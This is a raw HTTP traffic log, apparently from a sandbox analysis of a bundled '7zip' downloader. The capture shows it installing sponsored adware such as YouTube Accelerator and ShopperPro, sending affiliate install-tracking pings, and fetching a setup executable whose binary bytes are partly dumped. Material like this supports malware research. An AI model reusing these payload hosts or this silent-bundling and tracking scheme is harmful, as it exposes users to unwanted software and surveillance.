GET /app/t.ashx?uid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDkyYThhZDQ2LWJjOGQtNGZkMi05YWU4LTg1YjU0MTVlOWVlYywmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTgzJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420623258&aff=JSsmtycl&ver=2.0.7791.1462 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 07 Jan 2015 09:35:03 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 07 Jan 
2015 09:35:03 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=1&index_in_screen=1&index_in_session=1&0.5528655403810864 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:37 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.7231817516841886 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:37 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:37 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.461148770857849 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:43 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:43 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.799579113704163 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:44 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:44 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.09721619228999617 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/7zipqjkz/fc5adcef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5adcef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1098259893.1420623114.1420623114.1420623114.1; __utmb=1.1.10.1420623114; __utmz=1.1420623114.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 07 Jan 2015 09:33:50 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 07 Jan 2015 09:33:50 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/javascript; charset=utf-8

Content-Encoding: gzip

Expires: Thu, 08 Jan 2015 09:34:40 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Wed, 07 Jan 2015 09:34:40 GMT

Connection: close

Content-Length: 366
.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;.}~qz..i.~...6.._....
Z.u{.:o.>....j..{.lT...r....2.]R..)....iGm...6.b...?.3.>...^>
.{......v...x.,..jq..h.W.g..pV-.by6.L.|tHo..8O..1.s.@}B.~!...G.'.~.. .
....... }....P.:....F!._}.}jE`..)...^....>.U.QP......'-...ZA...*.d.
..<.............`...Ro..y...HTTP/1.1 200 OK..Cache-Control: public.
.Content-Type: application/javascript; charset=utf-8..Content-Encoding
: gzip..Expires: Thu, 08 Jan 2015 09:34:40 GMT..Vary: Accept-Encoding.
.Server: Microsoft-IIS/8.0..X-AspNet-Version: 4.0.30319..Date: Wed, 07
 Jan 2015 09:34:40 GMT..Connection: close..Content-Length: 366........
.......`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{....{.
...;.N'...?\fd.l..J...!....?~|.?"....i[T..;.}~qz..i.~...6.._....Z.u{.:
o.>....j..{.lT...r....2.]R..)....iGm...6.b...?.3.>...^>.{....
..v...x.,..jq..h.W.g..pV-.by6.L.|tHo..8O..1.s.@}B.~!...G.'.~.. .......
. }....P.:....F!._}.}jE`..)...^....>.U.QP......'-...ZA...*.d...<
.............`...Ro..y.....

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1269576

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 07 Jan 2015 08:34:28 GMT

Accept-Ranges: bytes

ETag: "28637c0542ad01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e7b9cdca203ddf236ea718720742caf2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _jN1tqxRaQYUVTMw9Zy44UoRvGQYL1b91I3CanfwvXU20A0b3lxnzQ==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@..@.data................r..........
....@....ndata.......@...........................rsrc................v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..6B..H.P.u..u..u....r@..B...SV.5.6B..E.WP.u....r@..e...E..E.P.u....r@
..}..e....Lp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@..E...E.P.E.P.u....r@..u
....E..9}...w....~X.te.v4..Dp@....E.tU.}.j.W.E......E.......@p@..vXW..
Hp@..u..5<p@.W...E..E.h ...Pj.h..B.W...r@..u.W...u....E.P.u...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /pagead/conversion.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Content-Type: text/javascript; charset=UTF-8

ETag: 9603012329940890601

Date: Wed, 07 Jan 2015 09:02:19 GMT

Expires: Thu, 08 Jan 2015 09:02:19 GMT

X-Content-Type-Options: nosniff

Content-Disposition: attachment; filename="f.txt"

Content-Encoding: gzip

Server: cafe

Content-Length: 4017

X-XSS-Protection: 1; mode=block

Age: 1940

Cache-Control: public, max-age=86400

Alternate-Protocol: 80:quic,p=0.002
...........Z.r.......PS.1b(..3..aU..8g.;'q&g..u.$D2.H.II.-..v....g.j.\
..h4.@_....W...q...5O:s..A.....U........n.s.....d.1.B.x....4...l.....D
d.$".......Br..m.<.STc..Y.s.Y.5K..3...0.T`.4.|."7..@...-...&..\.-.V
.[$.(.d.".2..#.... ...V..2...T/(..Iv.!=..".v......(a.>..R..../.m..7
..I%.U)T.<..0.......:.$.....h...*..Jq.;y.a...)....p..w.........H...
.8.....u8}dD>O/7..|..)....l.X.....|..tW.TM...40.X6.......{..Q.1H3..
d......5.....;.....Mp...Q........xX.i.'66u?p]....e".....G....f|..rc#..
 ..G.a..}.x&.[n,....z.D.l.....q(...LlF.Z.q|.y...P..UG..=uz=...1....l. 
.HG.....awM.k....l.xD7..j..............n.W...P....e..X.k.4.V.......pE.
...me..Jw;....`N....s......'..=.yV.. .....n....z.'.1W.6l...1|E..3.7...
...d.......lnD|.x<...\..~.a..U*......7......D..N...3B..o.K.....-...
..%.%'..>......>.U...g-.>}.p.#..G...mL.._...Y.1...-O.F .e....
..SR..|...m.h{I....6...^on`..EV.,'.k..0F...[8..X..[g.P.d}=...}M.Y.j.tk
.....\..d..n.5..;.Gl.K'.|...Av=......Z..5...6.O.h..f...1.......s...H,Q
F....O. .y|.O..J'*....ARM....Q#"1l6.Y..3H.E...Pw.O<9Q.'r.>q.~..j
...........Q(Gi.;.Sp'...2......C....I...0.h.....O<...C.Xh4. .5.(Z.@
....../"..|...|%..fRK...I..Ylx".".....H5.Z.y..l...x.j....5.>.....O%
e...W.....Y...aZ.q\Y....K.....c....*...v;..-X......q4.8......{......8L
....O..... [...r.KUvt.[..........H......1..i......-.8....*....^..5.a..
Y%......8L...m.[.m..0N......n..d~..<...|..[.....Qx.F.].I.O..e. ....
..,^..k.......m..,..?.........A.fs.../..`..{.a...T..R.."o...$$..CF.@.8
...-.1..4.....;...Rd).Y.1v.*..A.......K.F[./.....A.-...F..S.>..<<< skipped >>>

GET /pagead/conversion/971163981/?random=1420623259291&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 302 Found

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Date: Wed, 07 Jan 2015 09:34:40 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV P
SA PSD IVA IVD OTP OUR OTR IND OTC"..Date: Wed, 07 Jan 2015 09:34:40 G
MT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Co
ntrol: no-cache, must-revalidate..Location: hXXp://googleads.g.doublec
lick.net/pagead/viewthroughconversion/971163981/?random=580215148&cv=7
&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=
en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=12
0&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccele
rator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0%2
C92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NON
E&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected%
3D1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CA
IVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0..Content-Type: im
age/gif..X-Content-Type-Options: nosniff..Server: cafe..Content-Length
: 42..X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=0
.02..GIF89a.............!.......,...........D.;..<<< skipped >>>

GET /img/accelerating-videos.jpg HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr


HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:39 GMT

Content-Length: 62153
......Exif..II*.................Ducky.......P.....)hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM
:InstanceID="xmp.iid:C1DF3D4AC22211E2B54FF29E4590DCFE" xmpMM:DocumentI
D="xmp.did:C1DF3D4BC22211E2B54FF29E4590DCFE"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:C1DF3D48C22211E2B54FF29E4590DCFE" stRef:doc
umentID="xmp.did:C1DF3D49C22211E2B54FF29E4590DCFE"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
..................2...................................................
...........................................!..1AQ.aq....."2....BR#U...
b..3.T...W...S..u..rC.$4%6s...5.&V7.c.DdtEv'...e.Gw...................
....!1..A....Qaq."2RS...r3T.#....B..b$......4...D.EF............?...c.
.......!..A...H....\`.f...L...0.q%h.7.[{3..I....3.......wJ..x..h.;..=*
........m..P.PT..0.gi..K.Lb ....%.'..T....c....%.9.`("....`..#...Yy...
.L........Z.*.iM....V...n.*w.rb.6.......Q#... b...b.gU.?Sh}..T....<<< skipped >>>

GET /ConversionService/GetScript.ashx?s=finish&frame=1&aff= HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr; _ga=GA1.2.1963142124.1420623260; _gat=1


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:41 GMT

Content-Length: 216
.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<......
.[......m.zt........../..>|...;.......~..<n..........].....]....
_....%.8.............HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: text/html; charset=utf-8..Content-Encoding: gzip..Vary: Accept-E
ncoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Pow
ered-By: ASP.NET..Date: Wed, 07 Jan 2015 09:34:41 GMT..Content-Length:
 216...............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@.
.....{....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<
.......[......m.zt........../..>|...;.......~..<n..........]....
.]...._....%.8.................


GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=rrzcful4pe3stqcytb0mhvcr; _ga=GA1.2.1963142124.1420623260; _gat=1


HTTP/1.1 404 Not Found

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:34:50 GMT

Content-Length: 1245
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://ww
w.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content
-Type" content="text/html; charset=iso-8859-1"/>..<title>404 
- File or directory not found.</title>..<style type="text/css
">..<!--..body{margin:0;font-size:.7em;font-family:Verdana, Aria
l, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px
 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:
1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;
color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 
2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..backgr
ound-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...c
ontent-container{background:#FFF;width:96%;margin-top:8px;padding:10px
;position:relative;}..-->..</style>..</head>..<body&
gt;..<div id="header"><h1>Server Error</h1></div&
gt;..<div id="content">.. <div class="content-container">&
lt;fieldset>..  <h2>404 - File or directory not found.</h2
>..  <h3>The resource you are looking for might have been rem
oved, had its name changed, or is temporarily unavailable.</h3>.
. </fieldset></div>..</div>..</body>..</htm
l>....<<< skipped >>>

